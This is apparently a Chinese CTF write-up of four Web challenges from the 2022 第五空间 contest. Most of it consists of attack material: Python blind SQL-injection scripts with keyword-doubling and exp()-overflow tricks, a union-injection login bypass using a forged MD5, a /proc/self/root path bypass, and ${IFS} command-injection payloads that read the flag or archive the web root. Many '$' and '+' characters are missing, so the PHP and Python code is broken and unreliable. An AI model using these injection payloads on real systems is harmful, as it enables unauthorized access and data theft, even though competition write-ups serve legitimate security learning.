2022第五空间WP-Web
5_web_BaliYun
题目打开就是一个文件上传界面,而且还是白名单, 开始试了下根本绕不过去,不过扫一下拿到源码知道是个phar反序列化就很快拿下了
index.php
代码语言:javascript复制<!DOCTYPE html>
<html>
<head>
<title>BaliYun图床</title>
<link rel="stylesheet" href="css/style.css">
<link href='//fonts.googleapis.com/css?family=Open Sans:400,300italic,300,400italic,600,600italic,700,700italic,800,800italic' rel='stylesheet' type='text/css'>
<link href='//fonts.googleapis.com/css?family=Montserrat:400,700' rel='stylesheet' type='text/css'>
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="keywords" content="File Upload widget Widget Responsive, Login Form Web Template, Flat Pricing Tables, Flat Drop-Downs, Sign-Up Web Templates, Flat Web Templates, Login Sign-up Responsive Web Template, Smartphone Compatible Web Template, Free Web Designs for Nokia, Samsung, LG, Sony Ericsson, Motorola Web Design" />
<script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); } </script>
</head>
<body>
<h1>BaliYun图床</h1>
<div class="agile-its">
<h2>Image Upload</h2>
<div class="w3layouts">
<div class="photos-upload-view">
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">选择文件</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
<div id="messages">
<p>
<?php
include("class.php");
if(isset(_GET['img_name'])){down = new check_img();
echo down->img_check();
}
if(isset(_FILES["file"]["name"])){
up = new upload();
echoup->start();
}
?>
</p>
</div>
</div>
<div class="clearfix"></div>
<script src="js/filedrag.js"></script>
</div>
</div>
<div class="footer">
<p> Powerded by <a href="http://w3layouts.com/">ttpfx de BaliYun图床</a></p>
</div>
<script type="text/javascript" src="js/jquery.min.js"></script>
</div>
</body>
</html>
class.php
代码语言:javascript复制<?php
class upload{
public filename;
publicext;
public size;
publicValid_ext;
public function __construct(){
this->filename =_FILES["file"]["name"];
this->ext = end(explode(".",_FILES["file"]["name"]));
this->size =_FILES["file"]["size"] / 1024;
this->Valid_ext = array("gif", "jpeg", "jpg", "png");
}
public function start(){
returnthis->check();
}
private function check(){
if(file_exists(this->filename)){
return "Image already exsists";
}elseif(!in_array(this->ext, this->Valid_ext)){
return "Only Image Can Be Uploaded";
}else{
returnthis->move();
}
}
private function move(){
move_uploaded_file(_FILES["file"]["tmp_name"], "upload/".this->filename);
return "Upload succsess!";
}
public function __wakeup(){
system("calc");
var_dump(this->filename);
echo file_get_contents(this->filename);
}
}
class check_img{
public img_name;
public function __construct(){this->img_name = _GET['img_name'];
}
public function img_check(){
if(file_exists(this->img_name)){
return "Image exsists";
}else{
return "Image not exsists";
}
}
}
5_easylogin
这个题有点操dan, 先是需要使用
过滤空格,sleep
,benchmark
还有其他几个什么不记得了,总之不难绕过,不过要找到确定这是一个报错注入, 在后面在注入语句执行之前会将我们参数中的select
和union
给删掉替换为空,这点一直没注意到所以浪费了我很多时间, 后面通过在select前面添加杂数据产生的报错发现这点之后用双写绕过即可,
最后通过如下脚本注出数据
代码语言:javascript复制import base64
import requests
url="http://123.57.19.238:31088/"
def getDatabase(): # 获取数据库名
ans = ''
for i in range(1, 1000):
low = 32
high = 128
mid = (low high) // 2
while low < high:
# select group_concat(file) from sys.io_global_by_file_by_bytes
# select group_concat(table_name ) from sys.schema_index_statistics
# select group_concat(db) from sys.schema_object_overview
# select group_concat(object_schema) from sys.schema_tables_with_full_table_scans
# select group_concat(table_schema) from sys.schema_table_statistics_with_buffer
# select group_concat(db) from sys.statements_with_errors_or_warnings
# select group_concat(db) from sys.statements_with_full_table_scans
# select group_concat(db) from sys.statements_with_runtimes_in_95th_percentile
# select group_concat(db) from sys.statement_analysis
# select group_concat(db) from sys.statements_with_temp_tables
# select group_concat(query) from sys.statement_analysis
# SELECT * FROM SYSTEM_USER WHERE `username` = ?
sql="select group_concat(a,b,c) from (select 1 as a,2 as b, 3 as c union select * from user)x"
# sql="select group_concat(table_name) from sys.schema_table_statistics_with_buffer"
sql = f"select exp(709 if((ascii(substr(({sql}),%d,1))<%d),1,0))"% (i, mid)
# print(sql)
data = {
"username": (base64.b64decode(b"3w==") b"'^(" sql.encode() b")#").replace(b" ", b"t").replace(b"select",b"selSELECTect").replace(b"union",b"uniUNIONon"),
"password": "admin"
}
# print(data["username"])
res = requests.post(url "/login.php",data=data)
# print(res.text)
if "hack" in res.text:
print("hack")
elif "sql"in res.text or "SQL" in res.text:
print(res.text.split(":n")[-1])
pass
if "DOUBLE value is out of range in" in res.text:
high = mid
else:
low = mid 1
mid = (low high) // 2
if mid <= 32 or mid >= 127:
break
ans = chr(mid - 1)
print("database is -> " ans)
getDatabase()
但是拿到账号的密码是一个md5, 所以使用union联合注入登录用户即可获得flag
注: 题目后台的验证机制应该是通过username
执行sql语句拿出密码的MD5值,然后通过md5(password)来和取出的md5对比是否相等,相等则登录成功,否则失败, 所以密码是不会被插入sql语句中的,值用于身份验证
构造一下union注入的payload如下
代码语言:javascript复制username=admin�'unUNIONion seSELECTlect 1,2,0x3230326362393632616335393037356239363462303731353264323334623730#&password=123
0x3230326362393632616335393037356239363462303731353264323334623730 是202cb962ac59075b964b07152d234b70
的16进制格式,这是123456
的md5值
使用payload登录获得flag:
5_web_Eeeeasy_SQL
开局就是一个登录框(webr的一生之敌了…)
就是一个table注入(主要过滤了select
,单双引号,使用反斜杠和
#
绕过就行), 不过这个有点坑, 当时我拿到第一个账号后登录一直没反应, 后面才发现是登录之后就可以访问到/api
目录(登录验证的接口是/api/api.php
), 然后通过直接查看里面的目录访问flag.php
(其实在index.html的源码中就有这个接口,但是之前我访问了很多次没反应就没注意了)
import base64
import re
# select host from mysql.user where host='' and host=''
import requests
url="http://39.106.153.217:12174/api/api.php?command=login"
def fuzz():
black,white=[],[]
for i in open("sqlfuzz","r").read().split("n"):
data = {
"username": "\",
"password": f"^{i}#"
}
res=requests.post(url,data=data,allow_redirects=False)
# print(res.text)
if "hack" in res.text:
black.append(i)
print(i,"black")
else:
white.append(i)
print(i, "white")
print("BLACK","="*100)
for j in black:
print(j)
print("WHITE","="*100)
for j in white:
print(j)
print("END","="*100)
# fuzz()
def makehex(text):
rt="0x"
for i in text:
t=str(hex(ord(i)))
rt =t[2::]
# print(rt)
return rt
print(makehex("def"))
# exit(1)
def getDatabase(mysqlline): # 获取数据库名
ans = ''
for i in range(1, 1000):
low = 32
high = 128
mid = (low high) // 2
while low < high:
sql = f"(0x646566,'schema_name',{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')})>(table information_schema.columns limit 0,1)"
anst=chr(mid) ans
sql=f"right(({sql}),%d)<%s"% (i, makehex(anst))
sql = f"(0x646566,%s,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,10,21)>(table information_schema.tables limit order by{mysqlline},1)"%makehex(ans chr(mid))
# print(sql)
data = {
"username": "\",
"password": f"^pow(709,(case ({sql}) when 1 then 7 else 0 end))#".replace(" ","t")
}
# print(data["password"])
res = requests.post(url,data=data,allow_redirects=False)
# print(res.text)
if "hack" in res.text:
print("hack")
if "success" not in res.text:
high = mid
else:
low = mid 1
mid = (low high) // 2
if mid <= 32 or mid >= 127:
break
ans = chr(mid - 1)
print("database is -> " ans)
# print("database is -> " ans[::-1])
for i in range(100000):
print(i)
getDatabase(i)
exit(1)
通过注入拿到账号密码进入api/flag.php
, 然后得到源码
<?php
session_start();
if(isset(_SESSION['name'])){
if(_SESSION['name'] === 'Flag_Account'){
file = urldecode(_GET['file']);
if(!preg_match('/^/flag|var|tmp|php|log|%|sess|etc|usr|.|:|base|ssh|http/i',file)){
readfile(file);
}else{
echo 'try again~';
}
}
show_source(__FILE__);
}else{
echo '登陆一下吧~';
}
这里要求session的name
必须为Flag_Account
, 然后就可以进入下面的绕过就行文件包含, 先说一下绕过吧, 这个正则的绕过还是很简单的
可以看到主要是ban了不能以/flag
开头,但是这对我们几乎可以忽略, 因为/proc/self/root
中的关键字一个没ban, 所以直接读取/proc/self/root/flag
即可拿到flag
然而…..注意一下,在上面的注入中数据库里面是有多个账户的, 而我当时只拿到了第一个, 然后时间紧张就没试其他的用户了(终究是错过了)
5_web_letmeguess_1
这个题目有个登录框需要先登录, 然后题目提示弱密码, 然后直接admin/admin123
就进去了, 之后可以在一个输入框执行命令,前面有个ip
的字样,大概就是输入ip吧,但是输了127.0.0.1
并没有反应, 之后试了很多个命令注入也没有反应, 感觉有点迷, 觉得太迷了看题解数应该是不难的但是猜出题人的心思实在难受就没做了, 放几个赛后从其他师傅那里拿到的payload:
?ip=(tar{IFS}cvf{IFS}index{IFS}.)
上面这个方法会把当前目录/var/www/html目录打包压缩到index文件里面,下载index解压得到flag
?ip=
cd kyl??
tac fla*
?ip=127.0.0.1
cd ky*
nl *
?ip=127.0.0.1
cd{IFS}ky*
ls
tac{IFS}fl*
注: flag在kylin目录下面